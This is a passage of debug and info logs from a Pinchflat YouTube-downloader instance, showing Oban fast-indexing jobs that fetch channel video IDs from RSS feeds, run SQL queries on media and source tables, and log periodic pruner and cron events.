"HY54S4JyhNY"] 11:01:03.028 [debug] QUERY OK source="media_items" db=0.4ms idle=27.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 11:01:03.031 [debug] QUERY OK source="media_items" db=3.2ms idle=27.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 11:01:03.032 [debug] QUERY OK source="tasks" db=0.1ms idle=31.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [610, 3, ~U[2026-07-24 11:01:03Z], ~U[2026-07-24 11:01:03Z]] 11:01:03.032 [info] {"args":{"id":3},"id":607,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":32322,"event":"job:stop","queue_time":55276,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:01:26.471 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:56.472 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:00.397 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:02:26.473 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:56.474 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:00.398 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:03:26.475 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:56.476 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:00.399 [info] {"source":"oban","duration":349,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:04:26.477 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:56.478 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:00.400 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:05:26.479 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:56.480 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:00.401 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:06:26.481 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:56.482 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:00.402 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:07:26.483 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:56.484 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:00.403 [info] {"source":"oban","duration":416,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:08:26.485 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:56.486 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:00.404 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:09:26.487 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:56.488 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:00.405 [info] {"source":"oban","duration":331,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:10:26.489 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:32.633 [info] {"args":{"id":2},"id":608,"meta":{},"system_time":1784891432633103714,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:10:32.633 [debug] QUERY OK source="sources" db=0.0ms idle=1060.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:10:32.633 [debug] QUERY OK source="settings" db=0.0ms idle=1060.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:10:32.633 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:10:32.633 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:10:32.633 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 11:10:33.550 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 11:10:33.551 [debug] QUERY OK source="media_items" db=0.4ms idle=917.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 11:10:33.552 [debug] QUERY OK source="media_items" db=0.3ms idle=918.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 11:10:33.552 [debug] QUERY OK source="tasks" db=0.0ms idle=918.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [611, 2, ~U[2026-07-24 11:10:33Z], ~U[2026-07-24 11:10:33Z]] 11:10:33.552 [info] {"args":{"id":2},"id":608,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":919617,"event":"job:stop","queue_time":548761,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:10:45.647 [info] {"args":{"id":1},"id":609,"meta":{},"system_time":1784891445647199286,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:10:45.647 [debug] QUERY OK source="sources" db=0.0ms idle=1074.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:10:45.647 [debug] QUERY OK source="settings" db=0.0ms idle=1074.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:10:45.647 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:10:45.647 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:10:45.647 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 11:10:45.852 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 11:10:45.853 [debug] QUERY OK source="media_items" db=0.2ms idle=205.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 11:10:45.855 [debug] QUERY OK source="media_items" db=2.0ms idle=206.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 11:10:45.856 [debug] QUERY OK source="tasks" db=0.0ms idle=208.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [612, 1, ~U[2026-07-24 11:10:45Z], ~U[2026-07-24 11:10:45Z]] 11:10:45.856 [info] {"args":{"id":1},"id":609,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":209086,"event":"job:stop","queue_time":621339,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:10:56.490 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:00.406 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:11:03.668 [info] {"args":{"id":3},"id":610,"meta":{},"system_time":1784891463668149883,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:11:03.668 [debug] QUERY OK source="sources" db=0.0ms idle=95.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 11:11:03.668 [debug] QUERY OK source="settings" db=0.0ms idle=95.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:11:03.668 [debug] QUERY OK source="media_profiles" db=0.0ms idle=95.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:11:03.668 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:11:03.668 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 11:11:03.696 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 11:11:03.696 [debug] QUERY OK source="media_items" db=0.2ms idle=28.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 11:11:03.700 [debug] QUERY OK source="media_items" db=3.3ms idle=28.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 11:11:03.701 [debug] QUERY OK source="tasks" db=0.0ms idle=32.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [613, 3, ~U[2026-07-24 11:11:03Z], ~U[2026-07-24 11:11:03Z]] 11:11:03.701 [info] {"args":{"id":3},"id":610,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":33100,"event":"job:stop","queue_time":635830,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:11:26.491 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:56.492 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:00.407 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:12:26.493 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:56.495 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:00.408 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:13:26.497 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:56.498 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:00.409 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:14:26.500 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:56.502 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:00.410 [info] {"source":"oban","duration":268,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:15:26.503 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:56.504 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:00.411 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:16:26.505 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:56.506 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:00.412 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:17:26.507 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:56.508 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:00.413 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:18:26.509 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:56.510 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:00.414 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:19:17.273 [info] GET / 11:19:17.273 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 11:19:17.273 [debug] QUERY OK source="settings" db=0.0ms idle=1.7e3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 